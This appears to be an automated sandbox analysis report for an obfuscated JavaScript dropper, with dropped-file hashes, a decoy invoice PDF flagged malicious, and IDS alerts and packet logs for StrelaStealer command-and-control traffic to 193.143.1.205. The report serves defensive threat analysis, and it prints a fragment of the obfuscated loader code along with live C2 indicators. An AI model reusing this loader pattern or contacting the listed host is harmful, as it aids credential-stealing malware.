Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0762b51c-4fc5-47aa-8856-a9aa4607f9f4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\14cd2ef7-541d-41c6-9bc4-018a4aa2e550.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\42d813d4-d05e-4523-8235-8a6a7e0dcfde.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\b3c60046-b460-480f-94f2-cd3c31ffed9d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16207), with CRLF line terminators
Entropy (8bit):	4.926093864603546
TrID:
File name:	152068002360415087.js
File size:	19'715 bytes
MD5:	6b6643e7e0f973d9eb4f4073b7975436
SHA1:	5cf8ed16e7713e51c893fa156b427446fcf24730
SHA256:	7488f74059f07d8796619674214317978231369274094fda6213b147a614db13
SHA512:	d134fe85a3a52040a15508a5ebf2e0f7ba3586eb91833c3607f15ef128902daa464b9895330671710f1c9d3878f673a5600fb7bf54f95f405adf79644bb1fe89
SSDEEP:	384:IPTYwPUsPDtTjIQPhWTFf89Wl8o/BIYKrWc:IPEwPhDiBI
TLSH:	B292B35C7801EBDA97FAA1F8369C5567A0D38047DE30F4BE246A78DC76701A112F27B8
File Content Preview:	function kuksmuv(){bukdwx=[1031,3079,5127,4103,2055,3072];var asunoox=this[sfrdzr+hrmokqoj+dqsclox+orbrb+ohxggvq+cvqfmss+unstq+tvkbpy](this[xazzkonze+ofybjk+yglhus+dqsclox+wynnmhyyb+sfrdzr+tvkbpy][qvfggrn+dqsclox+ohxggvq+hrmokqoj+tvkbpy+ohxggvq+klhmhvu+zm

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T02:15:54.224421+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T02:15:54.224421+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T02:15:57.042786+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:15:53.425398111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:53.430342913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:53.430424929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:53.450479984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:53.455284119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.224327087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.224347115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.224358082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.224371910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.224380970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.224421024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.224438906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.224459887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.224467039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.224495888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.224540949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.224575996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.224647045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.224657059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.224685907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.229327917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.229383945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.229398012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.229424953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.270757914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.270772934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.270842075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.345299959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.345360041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.345499039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.345532894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.345549107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.345588923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.345601082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.345685959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.345696926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.345733881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.345853090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.345890999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.346260071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.346270084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.346281052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.346302986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.346457005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.346477032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.346507072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.346915960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.346956968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.347037077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.347048044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.347080946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.347182989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.347193003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.347230911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.347723961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.347733974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.347744942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.347762108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.347904921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.347915888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.347945929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.348547935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.348584890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.408211946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.433198929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.433254957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.433374882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.435866117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.435902119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.435910940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.465871096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.465883970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.465894938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.465993881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.466008902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.466080904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.466104031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.466109991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.466192007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.466253996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.466264963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.466320038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.466423988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.466435909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.466470957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.466898918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.466939926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.466950893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.466984034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.467174053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.467214108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.467245102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.467256069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.467292070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.467394114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.467643976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.467678070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.467765093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.467776060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.467816114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.467884064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.467894077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.467905998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.467921019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.468092918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.468137026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.468532085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.468658924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.468669891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.468694925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.468745947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.468781948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.468839884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.468849897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.468862057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.468883991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.469533920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.469544888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.469556093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.469579935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.469609022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.469742060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.469753027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.469763994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.469775915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.469789028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.469819069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.470300913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.480106115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.480155945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.480185986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.480195999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.480207920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.480364084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.498642921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.498682022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.498727083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.526581049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.526599884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.526817083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.553745985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.553786993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.553798914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.553841114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.553908110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.553941965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.556266069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.556354046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.556391954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.588422060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.588459015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.588485956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.588498116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.588520050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.588632107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.588644028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.588655949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.588716030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.588716030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.588870049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.588906050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.589020014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.589030027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.589066982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.589189053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.589200020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.589230061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.589390039 CET	80	49730	193.143.1.205	192.168.2.4
